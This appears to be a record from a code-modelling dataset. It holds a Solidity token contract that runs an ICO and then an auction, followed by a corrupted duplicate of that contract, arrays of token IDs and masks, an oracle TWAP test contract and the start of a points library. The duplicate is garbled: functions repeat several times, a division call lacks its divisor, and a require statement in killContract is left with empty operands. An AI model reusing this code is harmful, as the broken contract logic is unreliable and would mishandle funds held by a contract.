mapping(address => uint) public contributions;
address[] public contributors;
//Modififers
modifier onlyInState(State expectedState) { require(expectedState == currentState); _; }
modifier onlyBefore(uint256 _time) { require(now < _time); _; }
modifier onlyAfter(uint256 _time) { require(now > _time); _; }
modifier onlyTrivial() { require(msg.sender == trivial); _; }
modifier onlyKeyHolders() { require(balances[msg.sender] >= SafeMath.div(
SafeMath.mul(tokensForIco, TOKENS_PERCENTAGE_FOR_KEY_HOLDER), 100)); _;
}
modifier onlyAuctionWinner() {
require(currentState == State.AuctionFinished);
require(msg.sender == highestBidder);
_;
}
function TrivialToken(
string _name, string _symbol,
uint256 _icoEndTime, uint256 _auctionDuration,
address _artist, address _trivial,
uint256 _tokensForArtist,
uint256 _tokensForTrivial,
uint256 _tokensForIco
) {
require(now < _icoEndTime);
require(
TOTAL_SUPPLY == SafeMath.add(
_tokensForArtist,
SafeMath.add(_tokensForTrivial, _tokensForIco)
)
);
require(MIN_BID_PERCENTAGE < 100);
require(TOKENS_PERCENTAGE_FOR_KEY_HOLDER < 100);
name = _name;
symbol = _symbol;
decimals = DECIMALS;
icoEndTime = _icoEndTime;
auctionDuration = _auctionDuration;
artist = _artist;
trivial = _trivial;
tokensForArtist = _tokensForArtist;
tokensForTrivial = _tokensForTrivial;
tokensForIco = _tokensForIco;
currentState = State.Created;
}
/*
ICO methods
*/
function startIco()
onlyInState(State.Created)
onlyTrivial() {
currentState = State.IcoStarted;
IcoStarted(icoEndTime);
}
function contributeInIco() payable
onlyInState(State.IcoStarted)
onlyBefore(icoEndTime) {
require(msg.value > MIN_ETH_AMOUNT);
if (contributions[msg.sender] == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender] = SafeMath.add(contributions[msg.sender], msg.value);
amountRaised = SafeMath.add(amountRaised, msg.value);
IcoContributed(msg.sender, msg.value, amountRaised);
}
function distributeTokens(uint256 contributorsNumber)
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
for (uint256 i = 0; i < contributorsNumber && nextContributorIndexToBeGivenTokens < contributors.length; ++i) {
address currentContributor = contributors[nextContributorIndexToBeGivenTokens++];
uint256 tokensForContributor = SafeMath.div(
SafeMath.mul(tokensForIco, contributions[currentContributor]),
amountRaised // amountRaised can't be 0, ICO is cancelled then
);
balances[currentContributor] = tokensForContributor;
tokensDistributedToContributors = SafeMath.add(tokensDistributedToContributors, tokensForContributor);
}
}
function finishIco()
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
if (amountRaised == 0) {
currentState = State.IcoCancelled;
return;
}
// all contributors must have received their tokens to finish ICO
require(nextContributorIndexToBeGivenTokens >= contributors.length);
balances[artist] = SafeMath.add(balances[artist], tokensForArtist);
balances[trivial] = SafeMath.add(balances[trivial], tokensForTrivial);
uint256 leftovers = SafeMath.sub(tokensForIco, tokensDistributedToContributors);
balances[artist] = SafeMath.add(balances[artist], leftovers);
if (!artist.send(this.balance)) {
asyncSend(artist, this.balance);
}
currentState = State.IcoFinished;
IcoFinished(amountRaised);
}
function checkContribution(address contributor) constant returns (uint) {
return contributions[contributor];
}
/*
Auction methods
*/
function startAuction()
onlyInState(State.IcoFinished)
onlyKeyHolders() {
// 100% tokens owner is the only key holder
if (balances[msg.sender] == TOTAL_SUPPLY) {
// no auction takes place,
highestBidder = msg.sender;
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
return;
}
auctionEndTime = SafeMath.add(now, auctionDuration);
currentState = State.AuctionStarted;
AuctionStarted(auctionEndTime);
}
function bidInAuction() payable
onlyInState(State.AuctionStarted)
onlyBefore(auctionEndTime) {
//Must be greater or equal to minimal amount
require(msg.value >= MIN_ETH_AMOUNT);
uint256 bid = calculateUserBid();
//If there was a bid already
if (highestBid >= MIN_ETH_AMOUNT) {
//Must be greater or equal to 105% of previous bid
uint256 minimalOverBid = SafeMath.add(highestBid, SafeMath.div(
SafeMath.mul(highestBid, MIN_BID_PERCENTAGE), 100
));
require(bid >= minimalOverBid);
//Return to previous bidder his balance
//Value to return: current balance - current bid - paymentsInAsyncSend
uint256 amountToReturn = SafeMath.sub(SafeMath.sub(
this.balance, msg.value
), totalPayments);
if (!highestBidder.send(amountToReturn)) {
asyncSend(highestBidder, amountToReturn);
}
}
highestBidder = msg.sender;
highestBid = bid;
HighestBidChanged(highestBidder, highestBid);
}
function calculateUserBid() private returns (uint256) {
uint256 bid = msg.value;
uint256 contribution = balanceOf(msg.sender);
if (contribution > 0) {
//Formula: (sentETH * allTokens) / (allTokens - userTokens)
//User sends 16ETH, has 40 of 200 tokens
//(16 * 200) / (200 - 40) => 3200 / 160 => 20
bid = SafeMath.div(
SafeMath.mul(msg.value, TOTAL_SUPPLY),
SafeMath.sub(TOTAL_SUPPLY, contribution)
);
}
return bid;
}
function finishAuction()
onlyInState(State.AuctionStarted)
onlyAfter(auctionEndTime) {
require(highestBid > 0); // auction cannot be finished until at least one person bids
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
}
function withdrawShares(address holder) public
onlyInState(State.AuctionFinished) {
uint256 availableTokens = balances[holder];
require(availableTokens > 0);
balances[holder] = 0;
if (holder != highestBidder) {
holder.transfer(
SafeMath.div(SafeMath.mul(highestBid, availableTokens), TOTAL_SUPPLY)
);
}
}
function isKeyHolder(address person) constant returns (bool) {
return balances[person] >= SafeMath.div(tokensForIco, TOKENS_PERCENTAGE_FOR_KEY_HOLDER); }
/*
General methods
*/
// Cancel ICO will be redesigned to prevent
// risk of user funds overtaken
/*function cancelIco()
onlyInState(State.IcoStarted)
onlyTrivial() {
currentState = State.IcoCancelled;
IcoCancelled();
}
function claimIcoContribution(address contributor) onlyInState(State.IcoCancelled) {
uint256 contribution = contributions[contributor];
require(contribution > 0);
contributions[contributor] = 0;
contributor.transfer(contribution);
}*/
function setAuctionWinnerMessageHash(bytes32 _auctionWinnerMessageHash)
onlyAuctionWinner() {
auctionWinnerMessageHash = _auctionWinnerMessageHash;
WinnerProvidedHash();
}
function killContract()
onlyTrivial() {
require(
(
currentState == State.AuctionFinished &&
now > SafeMath.add(auctionEndTime, CLEANUP_DELAY) // Delay in correct state
) ||
currentState == State.IcoCancelled // No delay in cancelled state
);
selfdestruct(trivial);
}
// helper function to avoid too many contract calls on frontend side
function getContractState() constant returns (
uint256, uint256, uint256, uint256, uint256,
uint256, uint256, address, uint256, State,
uint256, uint256
) {
return (
icoEndTime, auctionDuration, auctionEndTime,
tokensForArtist, tokensForTrivial, tokensForIco,
amountRaised, highestBidder, highestBid, currentState,
TOKENS_PERCENTAGE_FOR_KEY_HOLDER, MIN_BID_PERCENTAGE
);
}
function transfer(address _to, uint _value, bytes _data) onlyInState(State.IcoFinished) returns (bool) {
return ERC223Token.transfer(_to, _value, _data);
}
function transfer(address _to, uint _value) returns (bool) {
// onlyInState(IcoFinished) check is contained in a call below
bytes memory empty;
return transfer(_to, _value, empty);
}
function () payable {
revert();
}
}
| ConstantsAccountsTime informationToken informationICO and auction resultsEventsStateToken contributors and holdersModififers | contract TrivialToken is ERC223Token, PullPayment {
uint8 constant DECIMALS = 0;
uint256 constant MIN_ETH_AMOUNT = 0.005 ether;
uint256 constant MIN_BID_PERCENTAGE = 10;
uint256 constant TOTAL_SUPPLY = 1000000;
uint256 constant TOKENS_PERCENTAGE_FOR_KEY_HOLDER = 25;
uint256 constant CLEANUP_DELAY = 180 days;
address public artist;
address public trivial;
uint256 public icoEndTime;
uint256 public auctionDuration;
uint256 public auctionEndTime;
uint256 public tokensForArtist;
uint256 public tokensForTrivial;
uint256 public tokensForIco;
uint256 public amountRaised;
address public highestBidder;
uint256 public highestBid;
bytes32 public auctionWinnerMessageHash;
uint256 public nextContributorIndexToBeGivenTokens;
uint256 public tokensDistributedToContributors;
event IcoStarted(uint256 icoEndTime);
event IcoContributed(address contributor, uint256 amountContributed, uint256 amountRaised);
event IcoFinished(uint256 amountRaised);
event IcoCancelled();
event AuctionStarted(uint256 auctionEndTime);
event HighestBidChanged(address highestBidder, uint256 highestBid);
event AuctionFinished(address highestBidder, uint256 highestBid);
event WinnerProvidedHash();
State public currentState;
mapping(address => uint) public contributions;
address[] public contributors;
enum State { Created, IcoStarted, IcoFinished, AuctionStarted, AuctionFinished, IcoCancelled }
modifier onlyInState(State expectedState) { require(expectedState == currentState); _; }
modifier onlyBefore(uint256 _time) { require(now < _time); _; }
modifier onlyAfter(uint256 _time) { require(now > _time); _; }
modifier onlyTrivial() { require(msg.sender == trivial); _; }
modifier onlyKeyHolders() { require(balances[msg.sender] >= SafeMath.div(
SafeMath.mul(tokensForIco, TOKENS_PERCENTAGE_FOR_KEY_HOLDER), 100)); _;
}
modifier onlyAuctionWinner() {
require(currentState == State.AuctionFinished);
require(msg.sender == highestBidder);
_;
}
function TrivialToken(
string _name, string _symbol,
uint256 _icoEndTime, uint256 _auctionDuration,
address _artist, address _trivial,
uint256 _tokensForArtist,
uint256 _tokensForTrivial,
uint256 _tokensForIco
) {
require(now < _icoEndTime);
require(
TOTAL_SUPPLY == SafeMath.add(
_tokensForArtist,
SafeMath.add(_tokensForTrivial, _tokensForIco)
)
);
require(MIN_BID_PERCENTAGE < 100);
require(TOKENS_PERCENTAGE_FOR_KEY_HOLDER < 100);
name = _name;
symbol = _symbol;
decimals = DECIMALS;
icoEndTime = _icoEndTime;
auctionDuration = _auctionDuration;
artist = _artist;
trivial = _trivial;
tokensForArtist = _tokensForArtist;
tokensForTrivial = _tokensForTrivial;
tokensForIco = _tokensForIco;
currentState = State.Created;
}
ICO methods
function startIco()
onlyInState(State.Created)
onlyTrivial() {
currentState = State.IcoStarted;
IcoStarted(icoEndTime);
}
function contributeInIco() payable
onlyInState(State.IcoStarted)
onlyBefore(icoEndTime) {
require(msg.value > MIN_ETH_AMOUNT);
if (contributions[msg.sender] == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender] = SafeMath.add(contributions[msg.sender], msg.value);
amountRaised = SafeMath.add(amountRaised, msg.value);
IcoContributed(msg.sender, msg.value, amountRaised);
}
function contributeInIco() payable
onlyInState(State.IcoStarted)
onlyBefore(icoEndTime) {
require(msg.value > MIN_ETH_AMOUNT);
if (contributions[msg.sender] == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender] = SafeMath.add(contributions[msg.sender], msg.value);
amountRaised = SafeMath.add(amountRaised, msg.value);
IcoContributed(msg.sender, msg.value, amountRaised);
}
function distributeTokens(uint256 contributorsNumber)
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
for (uint256 i = 0; i < contributorsNumber && nextContributorIndexToBeGivenTokens < contributors.length; ++i) {
address currentContributor = contributors[nextContributorIndexToBeGivenTokens++];
uint256 tokensForContributor = SafeMath.div(
SafeMath.mul(tokensForIco, contributions[currentContributor]),
);
balances[currentContributor] = tokensForContributor;
tokensDistributedToContributors = SafeMath.add(tokensDistributedToContributors, tokensForContributor);
}
}
function distributeTokens(uint256 contributorsNumber)
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
for (uint256 i = 0; i < contributorsNumber && nextContributorIndexToBeGivenTokens < contributors.length; ++i) {
address currentContributor = contributors[nextContributorIndexToBeGivenTokens++];
uint256 tokensForContributor = SafeMath.div(
SafeMath.mul(tokensForIco, contributions[currentContributor]),
);
balances[currentContributor] = tokensForContributor;
tokensDistributedToContributors = SafeMath.add(tokensDistributedToContributors, tokensForContributor);
}
}
function finishIco()
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
if (amountRaised == 0) {
currentState = State.IcoCancelled;
return;
}
balances[artist] = SafeMath.add(balances[artist], tokensForArtist);
balances[trivial] = SafeMath.add(balances[trivial], tokensForTrivial);
uint256 leftovers = SafeMath.sub(tokensForIco, tokensDistributedToContributors);
balances[artist] = SafeMath.add(balances[artist], leftovers);
if (!artist.send(this.balance)) {
asyncSend(artist, this.balance);
}
currentState = State.IcoFinished;
IcoFinished(amountRaised);
}
function finishIco()
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
if (amountRaised == 0) {
currentState = State.IcoCancelled;
return;
}
balances[artist] = SafeMath.add(balances[artist], tokensForArtist);
balances[trivial] = SafeMath.add(balances[trivial], tokensForTrivial);
uint256 leftovers = SafeMath.sub(tokensForIco, tokensDistributedToContributors);
balances[artist] = SafeMath.add(balances[artist], leftovers);
if (!artist.send(this.balance)) {
asyncSend(artist, this.balance);
}
currentState = State.IcoFinished;
IcoFinished(amountRaised);
}
require(nextContributorIndexToBeGivenTokens >= contributors.length);
function finishIco()
onlyInState(State.IcoStarted)
onlyAfter(icoEndTime) {
if (amountRaised == 0) {
currentState = State.IcoCancelled;
return;
}
balances[artist] = SafeMath.add(balances[artist], tokensForArtist);
balances[trivial] = SafeMath.add(balances[trivial], tokensForTrivial);
uint256 leftovers = SafeMath.sub(tokensForIco, tokensDistributedToContributors);
balances[artist] = SafeMath.add(balances[artist], leftovers);
if (!artist.send(this.balance)) {
asyncSend(artist, this.balance);
}
currentState = State.IcoFinished;
IcoFinished(amountRaised);
}
function checkContribution(address contributor) constant returns (uint) {
return contributions[contributor];
}
Auction methods
function startAuction()
onlyInState(State.IcoFinished)
onlyKeyHolders() {
if (balances[msg.sender] == TOTAL_SUPPLY) {
highestBidder = msg.sender;
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
return;
}
auctionEndTime = SafeMath.add(now, auctionDuration);
currentState = State.AuctionStarted;
AuctionStarted(auctionEndTime);
}
function startAuction()
onlyInState(State.IcoFinished)
onlyKeyHolders() {
if (balances[msg.sender] == TOTAL_SUPPLY) {
highestBidder = msg.sender;
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
return;
}
auctionEndTime = SafeMath.add(now, auctionDuration);
currentState = State.AuctionStarted;
AuctionStarted(auctionEndTime);
}
function bidInAuction() payable
onlyInState(State.AuctionStarted)
onlyBefore(auctionEndTime) {
require(msg.value >= MIN_ETH_AMOUNT);
uint256 bid = calculateUserBid();
if (highestBid >= MIN_ETH_AMOUNT) {
uint256 minimalOverBid = SafeMath.add(highestBid, SafeMath.div(
SafeMath.mul(highestBid, MIN_BID_PERCENTAGE), 100
));
require(bid >= minimalOverBid);
uint256 amountToReturn = SafeMath.sub(SafeMath.sub(
this.balance, msg.value
), totalPayments);
if (!highestBidder.send(amountToReturn)) {
asyncSend(highestBidder, amountToReturn);
}
}
highestBidder = msg.sender;
highestBid = bid;
HighestBidChanged(highestBidder, highestBid);
}
function bidInAuction() payable
onlyInState(State.AuctionStarted)
onlyBefore(auctionEndTime) {
require(msg.value >= MIN_ETH_AMOUNT);
uint256 bid = calculateUserBid();
if (highestBid >= MIN_ETH_AMOUNT) {
uint256 minimalOverBid = SafeMath.add(highestBid, SafeMath.div(
SafeMath.mul(highestBid, MIN_BID_PERCENTAGE), 100
));
require(bid >= minimalOverBid);
uint256 amountToReturn = SafeMath.sub(SafeMath.sub(
this.balance, msg.value
), totalPayments);
if (!highestBidder.send(amountToReturn)) {
asyncSend(highestBidder, amountToReturn);
}
}
highestBidder = msg.sender;
highestBid = bid;
HighestBidChanged(highestBidder, highestBid);
}
function bidInAuction() payable
onlyInState(State.AuctionStarted)
onlyBefore(auctionEndTime) {
require(msg.value >= MIN_ETH_AMOUNT);
uint256 bid = calculateUserBid();
if (highestBid >= MIN_ETH_AMOUNT) {
uint256 minimalOverBid = SafeMath.add(highestBid, SafeMath.div(
SafeMath.mul(highestBid, MIN_BID_PERCENTAGE), 100
));
require(bid >= minimalOverBid);
uint256 amountToReturn = SafeMath.sub(SafeMath.sub(
this.balance, msg.value
), totalPayments);
if (!highestBidder.send(amountToReturn)) {
asyncSend(highestBidder, amountToReturn);
}
}
highestBidder = msg.sender;
highestBid = bid;
HighestBidChanged(highestBidder, highestBid);
}
function calculateUserBid() private returns (uint256) {
uint256 bid = msg.value;
uint256 contribution = balanceOf(msg.sender);
if (contribution > 0) {
bid = SafeMath.div(
SafeMath.mul(msg.value, TOTAL_SUPPLY),
SafeMath.sub(TOTAL_SUPPLY, contribution)
);
}
return bid;
}
function calculateUserBid() private returns (uint256) {
uint256 bid = msg.value;
uint256 contribution = balanceOf(msg.sender);
if (contribution > 0) {
bid = SafeMath.div(
SafeMath.mul(msg.value, TOTAL_SUPPLY),
SafeMath.sub(TOTAL_SUPPLY, contribution)
);
}
return bid;
}
function finishAuction()
onlyInState(State.AuctionStarted)
onlyAfter(auctionEndTime) {
currentState = State.AuctionFinished;
AuctionFinished(highestBidder, highestBid);
}
function withdrawShares(address holder) public
onlyInState(State.AuctionFinished) {
uint256 availableTokens = balances[holder];
require(availableTokens > 0);
balances[holder] = 0;
if (holder != highestBidder) {
holder.transfer(
SafeMath.div(SafeMath.mul(highestBid, availableTokens), TOTAL_SUPPLY)
);
}
}
function withdrawShares(address holder) public
onlyInState(State.AuctionFinished) {
uint256 availableTokens = balances[holder];
require(availableTokens > 0);
balances[holder] = 0;
if (holder != highestBidder) {
holder.transfer(
SafeMath.div(SafeMath.mul(highestBid, availableTokens), TOTAL_SUPPLY)
);
}
}
function isKeyHolder(address person) constant returns (bool) {
return balances[person] >= SafeMath.div(tokensForIco, TOKENS_PERCENTAGE_FOR_KEY_HOLDER); }
General methods
onlyInState(State.IcoStarted)
onlyTrivial() {
currentState = State.IcoCancelled;
IcoCancelled();
}
function claimIcoContribution(address contributor) onlyInState(State.IcoCancelled) {
uint256 contribution = contributions[contributor];
require(contribution > 0);
contributions[contributor] = 0;
contributor.transfer(contribution);
}*/
function setAuctionWinnerMessageHash(bytes32 _auctionWinnerMessageHash)
onlyAuctionWinner() {
auctionWinnerMessageHash = _auctionWinnerMessageHash;
WinnerProvidedHash();
}
function killContract()
onlyTrivial() {
require(
(
currentState == State.AuctionFinished &&
) ||
);
selfdestruct(trivial);
}
function getContractState() constant returns (
uint256, uint256, uint256, uint256, uint256,
uint256, uint256, address, uint256, State,
uint256, uint256
) {
return (
icoEndTime, auctionDuration, auctionEndTime,
tokensForArtist, tokensForTrivial, tokensForIco,
amountRaised, highestBidder, highestBid, currentState,
TOKENS_PERCENTAGE_FOR_KEY_HOLDER, MIN_BID_PERCENTAGE
);
}
function transfer(address _to, uint _value, bytes _data) onlyInState(State.IcoFinished) returns (bool) {
return ERC223Token.transfer(_to, _value, _data);
}
function transfer(address _to, uint _value) returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function () payable {
revert();
}
}
| 5,438,244 | [
1,
2918,
13971,
950,
1779,
1345,
1779,
2871,
51,
471,
279,
4062,
1686,
3783,
1119,
1345,
13608,
13595,
471,
366,
4665,
1739,
430,
430,
414,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
840,
20109,
1345,
353,
4232,
39,
3787,
23,
1345,
16,
14899,
6032,
288,
203,
203,
565,
2254,
28,
5381,
25429,
55,
273,
374,
31,
203,
565,
2254,
5034,
5381,
6989,
67,
1584,
44,
67,
2192,
51,
5321,
273,
374,
18,
28564,
225,
2437,
31,
203,
565,
2254,
5034,
5381,
6989,
67,
38,
734,
67,
3194,
19666,
2833,
273,
1728,
31,
203,
565,
2254,
5034,
5381,
399,
19851,
67,
13272,
23893,
273,
15088,
31,
203,
565,
2254,
5034,
5381,
14275,
55,
67,
3194,
19666,
2833,
67,
7473,
67,
3297,
67,
21424,
273,
6969,
31,
203,
565,
2254,
5034,
5381,
385,
10439,
3079,
67,
26101,
273,
9259,
4681,
31,
203,
203,
565,
1758,
1071,
15469,
31,
203,
565,
1758,
1071,
433,
20109,
31,
203,
203,
565,
2254,
5034,
1071,
277,
2894,
25255,
31,
203,
565,
2254,
5034,
1071,
279,
4062,
5326,
31,
203,
565,
2254,
5034,
1071,
279,
4062,
25255,
31,
203,
203,
565,
2254,
5034,
1071,
2430,
1290,
4411,
376,
31,
203,
565,
2254,
5034,
1071,
2430,
1290,
1070,
20109,
31,
203,
565,
2254,
5034,
1071,
2430,
1290,
45,
2894,
31,
203,
203,
565,
2254,
5034,
1071,
3844,
12649,
5918,
31,
203,
565,
1758,
1071,
9742,
17763,
765,
31,
203,
565,
2254,
5034,
1071,
9742,
17763,
31,
203,
565,
1731,
1578,
1071,
279,
4062,
59,
7872,
1079,
2310,
31,
203,
565,
2254,
5034,
1071,
1024,
442,
19293,
1016,
15360,
6083,
5157,
31,
203,
565,
2254,
5034,
1071,
2430,
1669,
11050,
774,
442,
665,
13595,
31,
203,
203,
565,
871,
467,
2894,
9217,
12,
11890,
2
]
|
//SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import {IOracle} from "../interfaces/IOracle.sol";
import {Oracle} from "../core/Oracle.sol";
import {Uint256Casting} from "../libs/Uint256Casting.sol";
/**
* use this contract to test how to get twap from exactly 1 timestamp
* Since we can't access block.timestamp offchain before sending the tx
*/
contract OracleTester is Oracle{
using Uint256Casting for uint256;
IOracle oracle;
constructor(address _oracle) {
oracle = IOracle(_oracle);
}
function testGetTwapSince(
uint256 _sinceTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTwap(_pool, _base, _quote, period, false);
}
function testGetTwapSafeSince(
uint256 _sinceTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTwap(_pool, _base, _quote, period, true);
}
function testGetWeightedTickSafe(
uint256 _sinceTimestamp,
address _pool
) view external returns (int24) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTimeWeightedAverageTickSafe(_pool, period);
}
function testGetHistoricalTwapToNow(
uint256 _startTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 secondsAgoToStartOfTwap = uint32(block.timestamp - _startTimestamp);
uint32 secondsAgoToEndOfTwap=0;
return oracle.getHistoricalTwap(_pool, _base, _quote, secondsAgoToStartOfTwap, secondsAgoToEndOfTwap);
}
function testGetHistoricalTwap(
uint256 _startTimestamp,
uint256 _endTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 secondsAgoToStartOfTwap = uint32(block.timestamp - _startTimestamp);
uint32 secondsAgoToEndOfTwap=uint32(block.timestamp - _endTimestamp);
return oracle.getHistoricalTwap(_pool, _base, _quote, secondsAgoToStartOfTwap, secondsAgoToEndOfTwap);
}
function testToUint128(uint256 y) external pure returns (uint128 z) {
return y.toUint128();
}
} | * use this contract to test how to get twap from exactly 1 timestamp Since we can't access block.timestamp offchain before sending the tx/ | contract OracleTester is Oracle{
using Uint256Casting for uint256;
IOracle oracle;
import {IOracle} from "../interfaces/IOracle.sol";
import {Oracle} from "../core/Oracle.sol";
import {Uint256Casting} from "../libs/Uint256Casting.sol";
constructor(address _oracle) {
oracle = IOracle(_oracle);
}
function testGetTwapSince(
uint256 _sinceTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTwap(_pool, _base, _quote, period, false);
}
function testGetTwapSafeSince(
uint256 _sinceTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTwap(_pool, _base, _quote, period, true);
}
function testGetWeightedTickSafe(
uint256 _sinceTimestamp,
address _pool
) view external returns (int24) {
uint32 period = uint32(block.timestamp - _sinceTimestamp);
return oracle.getTimeWeightedAverageTickSafe(_pool, period);
}
function testGetHistoricalTwapToNow(
uint256 _startTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 secondsAgoToStartOfTwap = uint32(block.timestamp - _startTimestamp);
uint32 secondsAgoToEndOfTwap=0;
return oracle.getHistoricalTwap(_pool, _base, _quote, secondsAgoToStartOfTwap, secondsAgoToEndOfTwap);
}
function testGetHistoricalTwap(
uint256 _startTimestamp,
uint256 _endTimestamp,
address _pool,
address _base,
address _quote
) view external returns (uint256) {
uint32 secondsAgoToStartOfTwap = uint32(block.timestamp - _startTimestamp);
uint32 secondsAgoToEndOfTwap=uint32(block.timestamp - _endTimestamp);
return oracle.getHistoricalTwap(_pool, _base, _quote, secondsAgoToStartOfTwap, secondsAgoToEndOfTwap);
}
function testToUint128(uint256 y) external pure returns (uint128 z) {
return y.toUint128();
}
} | 15,836,331 | [
1,
1202,
333,
6835,
358,
1842,
3661,
358,
336,
2339,
438,
628,
8950,
404,
2858,
7897,
732,
848,
1404,
2006,
1203,
18,
5508,
3397,
5639,
1865,
5431,
326,
2229,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
28544,
56,
7654,
353,
28544,
95,
203,
203,
225,
1450,
7320,
5034,
9735,
310,
364,
2254,
5034,
31,
203,
203,
225,
1665,
16873,
20865,
31,
203,
203,
203,
5666,
288,
4294,
16873,
97,
628,
315,
6216,
15898,
19,
4294,
16873,
18,
18281,
14432,
203,
5666,
288,
23601,
97,
628,
315,
6216,
3644,
19,
23601,
18,
18281,
14432,
203,
5666,
288,
5487,
5034,
9735,
310,
97,
628,
315,
6216,
21571,
19,
5487,
5034,
9735,
310,
18,
18281,
14432,
203,
225,
3885,
12,
2867,
389,
280,
16066,
13,
288,
203,
565,
20865,
273,
1665,
16873,
24899,
280,
16066,
1769,
203,
225,
289,
203,
203,
225,
445,
1842,
967,
23539,
438,
9673,
12,
203,
565,
2254,
5034,
389,
9256,
4921,
16,
7010,
565,
1758,
389,
6011,
16,
7010,
565,
1758,
389,
1969,
16,
7010,
565,
1758,
389,
6889,
203,
225,
262,
1476,
3903,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
1578,
3879,
273,
2254,
1578,
12,
2629,
18,
5508,
300,
389,
9256,
4921,
1769,
203,
565,
327,
20865,
18,
588,
23539,
438,
24899,
6011,
16,
389,
1969,
16,
389,
6889,
16,
3879,
16,
629,
1769,
203,
225,
289,
203,
203,
225,
445,
1842,
967,
23539,
438,
9890,
9673,
12,
203,
565,
2254,
5034,
389,
9256,
4921,
16,
7010,
565,
1758,
389,
6011,
16,
7010,
565,
1758,
389,
1969,
16,
7010,
565,
1758,
389,
6889,
203,
225,
262,
1476,
3903,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
1578,
3879,
273,
2254,
1578,
12,
2629,
18,
5508,
300,
389,
9256,
4921,
1769,
203,
565,
2
]
|
pragma solidity ^0.4.24;
// File: contracts/libs/PointsCalculator.sol
library PointsCalculator {
uint8 constant MATCHES_NUMBER = 20;
uint8 constant BONUS_MATCHES = 5;
uint16 constant EXTRA_STATS_MASK = 65535;
uint8 constant MATCH_UNDEROVER_MASK = 1;
uint8 constant MATCH_RESULT_MASK = 3;
